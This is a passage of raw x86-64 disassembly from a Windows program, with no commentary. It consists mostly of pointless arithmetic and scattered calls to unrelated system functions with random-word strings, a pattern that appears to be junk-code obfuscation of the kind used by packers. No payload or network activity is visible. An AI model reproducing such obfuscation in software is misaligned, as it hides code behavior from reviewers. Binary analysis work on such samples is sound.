movzx ecx, word [rsp + 0xb70]
add eax, ecx
mov word [rsp + 0xb60], ax
cmp dword [rsp + 0x42c8], 0xb299
ja 0x140005d22
lea rax, [rsp + 0x8dd8]
mov qword [rsp + 0x8f30], rax
mov eax, dword [rsp + 0x41b8]
mov ecx, dword [rsp + 0x4204]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c78]
mov dword [rcx], eax
cmp dword [rsp + 0x4208], 0x55c9
ja 0x140006332
movzx ecx, word [rsp + 0xb6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb6c], ax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c18]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f20]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x41bc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8e98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4208]
add eax, 0x90
mov dword [rsp + 0x4208], eax
mov rax, qword [rsp + 0x8eb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ee8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
movzx eax, word [rsp + 0xb60]
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb78], ax
movsx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x42f4], eax
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x55], al
lea rcx, [rsp + 0x25430]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [rsp + 0x423c]
mov rcx, qword [rsp + 0x8c80]
mov qword [rsp + 0x8f38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8f38]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c18]
movzx ecx, al
mov rax, qword [rsp + 0x8da0]
shl rax, cl
mov qword [rsp + 0x8e10], rax
mov rax, qword [rsp + 0x8f00]
mov rcx, qword [rsp + 0x8c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x41b8], eax
movzx ecx, word [rsp + 0xb6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb6c], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xfc81
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x41e0], eax
mov rax, qword [rsp + 0x8db8]
mov rcx, qword [rsp + 0x8c98]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8c70], rax
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8cb0]
mov byte [rcx], al
movsx eax, word [rsp + 0xb84]
mov rcx, qword [rsp + 0x8e78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb64], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [0x1401e6004]
and eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x8eb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8da0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c18], rax
lea rdx, [rsp + 0x8df0]
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x42ec], eax
mov rax, qword [rsp + 0x8c78]
mov ecx, dword [rsp + 0x4204]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8cd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4280]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x423c], eax
mov rax, qword [rsp + 0x8c98]
mov rcx, qword [rsp + 0x8db8]
mov qword [rsp + 0x8f40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8f40]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8c70], rax
movzx eax, byte [rsp + 0x55]
movzx ecx, byte [rsp + 0x53]
shl eax, cl
mov byte [0x1401e7418], al
movzx eax, word [0x1401e6004]
movzx ecx, word [rsp + 0xb78]
or eax, ecx
mov word [rsp + 0xb60], ax
movsx eax, word [rsp + 0xb68]
movsx ecx, word [rsp + 0xb8c]
xor eax, ecx
mov word [rsp + 0xb64], ax
jmp 0x140005fae
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
mov dword [rsp + 0x42f8], eax
cmp dword [rsp + 0x42f8], 0x215
je 0x140006367
cmp dword [rsp + 0x42f8], 0xfff0
je 0x140006427
jmp 0x1401b8a49
mov r8d, 0x42
mov rdx, qword [rsp + 0x8f48]
mov rcx, qword [rsp + 0x8d68]
call qword [sym.imp.USER32.dll_GetDCEx]
mov qword [rsp + 0x8f50], rax
mov rax, qword [rsp + 0x8f30]
mov rcx, qword [rsp + 0x8c70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8db8]
mov rdx, qword [rsp + 0x8d70]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
je 0x140006403
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8e10]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8da0], rax
mov rax, qword [rsp + 0x8e98]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x8cc8]
mov rdx, qword [rax]
movzx ecx, word [rsp + 0xb84]
call fcn.1401ba1d0
nop
jmp 0x140006422
mov rax, qword [rsp + 0x8e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4214]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c78]
mov dword [rcx], eax
jmp 0x1401b8a49
mov rax, qword [rsp + 0x8c70]
mov rcx, qword [rsp + 0x8c98]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f30]
mov qword [rcx], rax
cmp dword [rsp + 0x41e4], 0x8c41
jbe 0x1400068d1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov eax, dword [rsp + 0x41bc]
mov rcx, qword [rsp + 0x8c80]
mov qword [rsp + 0x8f58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8f58]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8e98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41e4]
sub eax, 0xfa
mov dword [rsp + 0x41e4], eax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
sar eax, cl
mov word [0x1401e6004], ax
lea rdx, [rsp + 0x42fc]
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x42f4], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
xor eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov byte [rcx], al
lea rcx, str.electroencephalogram_congruential_Voluble
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xb88], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb70]
and eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
movsx eax, word [rsp + 0xb8c]
mov rcx, qword [rsp + 0x8ee8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8f20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c18], rax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4280]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4204]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8cd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c70]
mov rcx, qword [0x1401e7410]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ee8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb84]
sub eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x53], al
movzx eax, word [rsp + 0xb70]
movzx ecx, word [rsp + 0xb78]
add eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
movsx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x50], al
mov dword [rsp + 0x29f40], 0x94
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8dd8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c70], rax
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x41b4], eax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4280]
sar eax, cl
mov dword [rsp + 0x424c], eax
mov rax, qword [rsp + 0x8f20]
mov rcx, qword [rsp + 0x8da0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8e10], rax
mov rax, qword [rsp + 0x8e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4204]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c78]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov byte [0x1401e6006], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
add eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca0]
mov byte [rcx], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
movsx eax, word [rsp + 0xb74]
movsx ecx, word [rsp + 0xb84]
sub eax, ecx
mov word [rsp + 0xb64], ax
mov rax, qword [rsp + 0x8e98]
mov ecx, dword [rsp + 0x41bc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x424c], eax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8da0], rax
mov rax, qword [rsp + 0x8f30]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8c70]
shl rax, cl
mov qword [rsp + 0x8dd8], rax
mov eax, dword [rsp + 0x4204]
mov ecx, dword [rsp + 0x4270]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4214], eax
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x54], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8f10], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
movzx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
add eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb70]
and eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
jmp 0x140006448
mov rax, qword [rsp + 0x8e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4280]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov edx, dword [rsp + 0x42c4]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jle 0x140006947
mov rax, qword [rsp + 0x8e78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb68]
sub eax, ecx
mov word [rsp + 0xb64], ax
mov rax, qword [rsp + 0x8f30]
mov r9, qword [rax]
mov rax, qword [rsp + 0x8e18]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x53]
mov rax, qword [rsp + 0x8e18]
movzx ecx, byte [rax]
call fcn.1401ba490
nop
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov qword [rsp + 0x8f68], rax
movzx eax, word [rsp + 0xb78]
mov dword [rsp + 0x4300], eax
cmp dword [rsp + 0x4300], 0xd58
je 0x14000697b
jmp 0x140006abc
lea r9, [rsp + 0x29e50]
xor r8d, r8d
mov edx, 0x44
mov rcx, qword [rsp + 0x8de8]
call qword [sym.imp.USER32.dll_InsertMenuItemA]
mov dword [rsp + 0x4268], eax
mov rax, qword [rsp + 0x8cd0]
mov eax, dword [rax]
mov dword [rsp + 0x4304], eax
cmp dword [rsp + 0x4304], 0x348a
je 0x1400069d4
cmp dword [rsp + 0x4304], 0x4df5
je 0x140006a9b
jmp 0x140006ab7
mov rax, qword [rsp + 0x8f00]
mov rcx, qword [rsp + 0x8e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41b8], eax
mov eax, dword [rsp + 0x4204]
mov ecx, dword [rsp + 0x41d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8cd0]
mov edx, dword [rsp + 0x4214]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jne 0x140006a51
mov rax, qword [rsp + 0x8e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x424c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
movzx edx, word [rsp + 0xb74]
mov rcx, qword [rsp + 0x8c70]
call fcn.1401b9400
nop
jmp 0x140006a99
mov rax, qword [rsp + 0x8e90]
mov ecx, dword [rsp + 0x4244]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8c78]
mov edx, dword [rsp + 0x4214]
imul edx, dword [rcx]
mov ecx, edx
cmp eax, ecx
jbe 0x140006a99
mov rax, qword [0x1401e7410]
mov rcx, qword [rsp + 0x8dd8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
jmp 0x140006ab7
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
or eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
jmp 0x140006b89
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb70]
shl eax, cl
mov word [0x1401e6010], ax
mov ecx, reloc.COMCTL32.dll_MakeDragList
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4308], eax
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov qword [rsp + 0x8f70], rax
movabs rax, 0x71a1a6d2732b19
cmp qword [rsp + 0x8f70], rax
je 0x140006b13
jmp 0x140006b4d
mov edx, 0x50
mov rcx, qword [rsp + 0x8dc8]
call qword [sym.imp.USER32.dll_GetGuiResources]
mov dword [rsp + 0x41d0], eax
mov r9, qword [rsp + 0x8c70]
movzx r8d, byte [rsp + 0x53]
movzx edx, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x55]
call fcn.1401ba490
nop
jmp 0x140006b89
lea rax, [0x1401e7418]
mov qword [rsp + 0x8f78], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0x8f80], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x42f0], eax
movsx eax, word [rsp + 0xb8c]
mov rcx, qword [rsp + 0x8e78]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb64], ax
mov rax, qword [rsp + 0x8e98]
mov rcx, qword [rsp + 0x8c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x42c4]
mov edx, dword [rsp + 0x424c]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x1401b8a00
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rax, [rsp + 0x8c70]
mov qword [rsp + 0x8f88], rax
mov eax, dword [rsp + 0x41d0]
mov dword [rsp + 0x430c], eax
cmp dword [rsp + 0x430c], 0xfd27
je 0x140006c1b
cmp dword [rsp + 0x430c], 0x7cf00000
je 0x140006c4e
jmp 0x140006cbe
mov rax, qword [rsp + 0x8e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4244]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4270], eax
lea rcx, str.nationalised_Wicketkeeper
call qword [sym.imp.USER32.dll_CharLowerA]
mov qword [rsp + 0x8cd8], rax
jmp 0x140006cbe
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8f20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8e10], rax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e98]
mov edx, dword [rsp + 0x4280]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jl 0x140006ca1
call fcn.1401bac30
nop
lea rax, [rsp + 0x4280]
mov qword [rsp + 0x8f90], rax
mov eax, dword [rsp + 0x42c4]
mov dword [0x1401e741c], eax
cmp dword [rsp + 0x41cc], 0x9ae5
jb 0x1400071c7
movsx eax, word [rsp + 0xb68]
movsx ecx, word [rsp + 0xb74]
sub eax, ecx
mov rcx, qword [rsp + 0x8e20]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
movzx ecx, word [rsp + 0xb6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb6c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [0x1401e7418]
xor eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
or eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x42f0], eax
movsx eax, byte [rsp + 0x54]
movsx ecx, byte [rsp + 0x52]
shl eax, cl
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
sar eax, cl
mov word [rsp + 0xb70], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
and eax, ecx
mov word [rsp + 0xb60], ax
lea rcx, [rsp + 0x25430]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x8dd8]
mov rcx, qword [rsp + 0x8c70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42c4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f68]
mov rcx, qword [rsp + 0x8e10]
and rcx, rax
mov rax, rcx
mov qword [0x1401e6008], rax
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4214]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4228], eax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x55], al
movsx eax, word [rsp + 0xb64]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov word [rcx], ax
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4310], eax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [0x1401e6006]
add eax, ecx
mov byte [rsp + 0x54], al
mov eax, dword [rsp + 0x41cc]
sub eax, 0x23
mov dword [rsp + 0x41cc], eax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb70]
add eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
lea rcx, [rsp + 0x26818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
shl eax, cl
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x8cc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c98]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8db8]
mov qword [rcx], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x42c4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8c18]
shr rax, cl
mov rcx, qword [rsp + 0x8f20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4214]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x42d4], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x38b7
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x42f0], eax
movsx eax, byte [0x1401e6006]
movsx ecx, byte [rsp + 0x54]
add eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x42fc], eax
mov rcx, qword [rsp + 0x8f80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4314], eax
movzx eax, word [rsp + 0xb70]
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb60], ax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8d90], rax
mov rax, qword [rsp + 0x8e78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e10], rax
mov rax, qword [rsp + 0x8c78]
mov rcx, qword [rsp + 0x8e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8f00]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0x8db8]
mov rcx, qword [0x1401e7410]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
mov r9d, 2
lea r8, [rsp + 0x8df0]
mov rdx, qword [rsp + 0x8db0]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x41c8], eax
mov rax, qword [rsp + 0x8e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4280]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41bc], eax
mov rax, qword [rsp + 0x8ee8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb74]
shl eax, cl
mov word [rsp + 0xb8c], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
sar eax, cl
mov word [rsp + 0xb70], ax
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb64]
xor eax, ecx
mov word [rsp + 0xb68], ax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
or eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov byte [rcx], al
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
and eax, ecx
mov rcx, qword [rsp + 0x8cb0]
mov byte [rcx], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x258b
mov r9d, 0x11c
mov r8d, 0x266532a4
mov edx, 2
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4274], eax
jmp 0x140006cbe
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [0x1401e6006]
add eax, ecx
movsx ecx, byte [rsp + 0x50]
movsx edx, byte [rsp + 0x54]
sub ecx, edx
cmp eax, ecx
je 0x140007229
mov rax, qword [rsp + 0x8f88]
mov rcx, qword [rsp + 0x8c70]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x8e10]
mov rcx, qword [rsp + 0x8c18]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov qword [rcx], rax
jmp 0x140007394
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.C:Subtendingwaftsgreatcoat
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x8f98], rax
mov eax, dword [rsp + 0x41bc]
mov ecx, dword [rsp + 0x424c]
add ecx, eax
mov eax, ecx
mov ecx, dword [0x1401e741c]
mov edx, dword [rsp + 0x42c4]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140007349
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
xor eax, ecx
mov byte [0x1401e6007], al
lea rax, [rsp + 0x4280]
mov qword [rsp + 0x8fa0], rax
movsx eax, word [rsp + 0xb64]
movsx ecx, word [rsp + 0xb84]
shl eax, cl
